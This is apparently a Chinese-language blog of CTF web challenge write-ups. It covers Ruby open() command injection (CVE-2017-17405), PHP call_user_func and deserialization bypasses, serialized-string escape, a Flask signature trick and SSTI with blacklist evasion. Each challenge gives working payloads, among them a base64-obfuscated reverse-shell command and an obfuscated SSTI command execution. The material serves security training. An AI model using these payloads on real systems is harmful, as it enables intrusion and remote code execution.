0%

web刷题——持续更新

[第五空间 2021]PNG图片转换器

有源码,ruby写的,不是常见的语言首先联想cve,先看源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
require 'sinatra'
require 'digest'
require 'base64'

get '/' do
open("./view/index.html", 'r').read()
end

get '/upload' do
open("./view/upload.html", 'r').read()
end

post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end

end

get '/convert' do
open("./view/convert.html", 'r').read()
end

post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end

file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end

做了两个功能点,upload和convert。审计下来限制的很死,唯一利用点就是open这比较可疑,考虑cve,ruby结合open果然有cve。

参考CVE-2017-17405

https://github.com/Threekiii/Vulnerability-Wiki/blob/master/docs-base/docs/middleware/Ruby-NetFTP-%E6%A8%A1%E5%9D%97%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E-CVE-2017-17405.md

原理:

Ruby-Net::FTP 模块是一个FTP客户端,上传文件过程中使用了open函数。open函数在ruby中是借用系统命令来打开文件,意味着如果没有做过滤,我们能利用这个点来执行命令。

payload:

如果+path+以一个管道字符(|)开头,就会创建一个子进程,通过一对管道连接到调用者。 返回的IO对象可用于向该子进程的标准输入写入和从标准输出读取。

1
2
3
file=|bash -c env #.png
file=|`echo ZW52|base64 -d` > e7e7eed2fbf6094265aebdf5344bfb8c.png
file=|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}'

[网鼎杯 2018]Fakebook 1

进去没找到什么利用点,dirsearch扫描,有robots.txt 访问得到user.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

[网鼎杯 2020 朱雀组]phpweb 1

进去就是一张贴脸大图 随便抓包看到参数 随便输发现 call_user_fun这个超明显的php函数

image-20250608193444974

首先使用file_get_contents结合伪协议读取源码

(读源码不止一个方法 还有fun=highlight_file&p=index.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

这里有两个方法:

方法1:unserilize反序列化

__destruc__魔术方法当类被销毁会自动触发

1
2
3
4
5
6
7
8
<?php
class Test {
var $p = "find / -name flag*";
var $func = "system";
}
$a = new Test;
echo serialize($a);
?>

image-20250609130147665

看到可疑路径 /tmp/flagoefiu4r93

1
2
3
4
5
6
7
8
<?php
class Test {
var $p = "cat /tmp/flagoefiu4r93";
var $func = "system";
}
$a = new Test;
echo serialize($a);
?>

得道flag

方法2:命名空间方法

原理

在php中,函数加上\号不会影响函数本身,因为in_array函数过滤不够严谨,所以我们可以利用加上\号来绕过。

func=\system&p=find / -name fllag*

image-20250609131040803

然后正常执行命令就行

[安洵杯 2019]easy_serialize_php 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION)); //得到序列化的数据

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info); //反序列化
echo file_get_contents(base64_decode($userinfo['img'])); //取出序列化数据中的base64_encode过后的img先进行decode再进行读取文件内容
}
//所以是$_SESSION序列化后被filter函数处理,再反序列化赋给userinfo,最后取出img这个键对应的值

代码理解

理解代码在干什么很重要,审计代码的能力很重要。

这段php代码首先定义了一个名为filter函数,它会把传入的变量的值如果在它定义的数组里,就会把符合条件的字符串替换为空。

然后使用了变量覆盖里常用的函数extract来使我们$_SESSION["user"]$_SESSION['function']通过POST可控。

然后if判断是否传入img_path,没传入就是设置为guest_image.png,传入的话就会使用一个不可逆的sha1算法,所以我们肯定不考虑这个。

下一步是定义变量serialize_info为经过filter函数操作后的序列化后的数据。

再下来是if选择function功能 highlight_file是查看源码,phpinfo是查看phpinfo,show_image是做了一个反序列化操作,并且使用了一个敏感函数,file_get_contens。

题目做法:反序列化字符逃逸一共有两种方法:一个是键值逃逸,另一个是键名逃逸

flag路径在phpinfo功能点就能看到 为/d0g3_fllllllag

方法1:键值逃逸

代码审计完了,有反序列化又有替换的操作,很容易联想到字符串逃逸。这里只有user和function可控。为了好理解我们先看序列化后的数据长什么样子。

1
2
3
4
5
6
7
<?php
$_SESSION["user"] = '*';
$_SESSION['function'] = '**';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
?>
//a:3:{s:4:"user";s:2:"aa";s:8:"function";s:2:"bb";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

因为要让guest_img.png逃逸出去,所以我们应该修改user,让user经过字符串替换,function这个变量及其值成为user的值,img变量变为我们想要的值哦。

function应该为值为;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}

fileter处理前:

a:3:{s:4:”user”;s:22:”phpphpphpflagphpphpphp”;s:8:”function”;s:56:”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}

1
2
3
4
5
6
<?php
$_SESSION["user"] = 'phpphpphpflagphpphpphp';
$_SESSION['function'] = ';s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
?>

filter处理后:

a:3:{s:4:”user”;s:22:””;s:8:”function”;s:56:”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}

于是function的值为img为L2QwZzNfZmxsbGxsbGFn,后面那一串就成功修改img值为flag的路径。

image-20250609170114970

方法2:键名逃逸

1
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

过滤前 a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 过滤后 a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 下面的步骤和值替换一样 这里的键名变为";s:48: 实现了逃逸

payload:_SESSION[flagphp]=;s:1:”1”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}

[De1CTF 2019]SSRF Me 1

进去贴脸源码,python代码审计。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python
# encoding=utf-8

from flask import Flask, request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)
secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if not os.path.exists(self.sandbox): # SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500

if self.checkSign():
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print (resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200

if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()

if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"

return result

def checkSign(self):
return getSign(self.action, self.param) == self.sign


# generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr

if waf(param):
return "No Hacker!!!!"

task = Task(action, param, sign, ip)
return json.dumps(task.Exec())


@app.route('/')
def index():
return open("code.txt", "r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"


def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)
1
2
3
4
三个路由:
/ 查看源代码
/geneSign 生成签名
/De1ta 关键路由 可以进行读取文件

解题思路

(除了这个方法还可以使用hash拓展攻击)

密钥是不变的。而action定死为scan了 可变的只有中间的param

那么md5(密钥+flag.txtread+scan)等于md5(密钥+flag.txt+readscan)

image-20250609220834647

这步的cookie请自己添加

image-20250609220743588

image-20250609220754685

[GYCTF2020]FlaskApp

进去是base64解密和加密功能 看到flask先条件反射ssti 输入49得到编码 输入解码器得到回显

image-20250610134342160

继续测试 e3tjb25maWd9fQ== 得到回显 被HTML 实体转义 丢给ai恢复下就ok

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<Config {
'ENV': 'production',
'DEBUG': True,
'TESTING': False,
'PROPAGATE_EXCEPTIONS': None,
'PRESERVE_CONTEXT_ON_EXCEPTION': None,
'SECRET_KEY': 's_e_c_r_e_t_k_e_y',
'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31),
'USE_X_SENDFILE': False,
'SERVER_NAME': None,
'APPLICATION_ROOT': '/',
'SESSION_COOKIE_NAME': 'session',
'SESSION_COOKIE_DOMAIN': False,
'SESSION_COOKIE_PATH': None,
'SESSION_COOKIE_HTTPONLY': True,
'SESSION_COOKIE_SECURE': False,
'SESSION_COOKIE_SAMESITE': None,
'SESSION_REFRESH_EACH_REQUEST': True,
'MAX_CONTENT_LENGTH': None,
'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200),
'TRAP_BAD_REQUEST_ERRORS': None,
'TRAP_HTTP_EXCEPTIONS': False,
'EXPLAIN_TEMPLATE_LOADING': False,
'PREFERRED_URL_SCHEME': 'http',
'JSON_AS_ASCII': True,
'JSON_SORT_KEYS': True,
'JSONIFY_PRETTYPRINT_REGULAR': False,
'JSONIFY_MIMETYPE': 'application/json',
'TEMPLATES_AUTO_RELOAD': None,
'MAX_COOKIE_SIZE': 4093,
'BOOTSTRAP_USE_MINIFIED': True,
'BOOTSTRAP_CDN_FORCE_SSL': False,
'BOOTSTRAP_QUERYSTRING_REVVING': True,
'BOOTSTRAP_SERVE_LOCAL': False,
'BOOTSTRAP_LOCAL_SUBDOMAIN': None
}>

成功SSTI 正常打ssti就好

黑名单 ['import','os','popen','eval','*','?']

payload:{{((lipsum.__globals__.__builtins__['__i''mport__']('o''s'))['p''open']("\x63\x61\x74\x20\x2f\x2a")).read()}}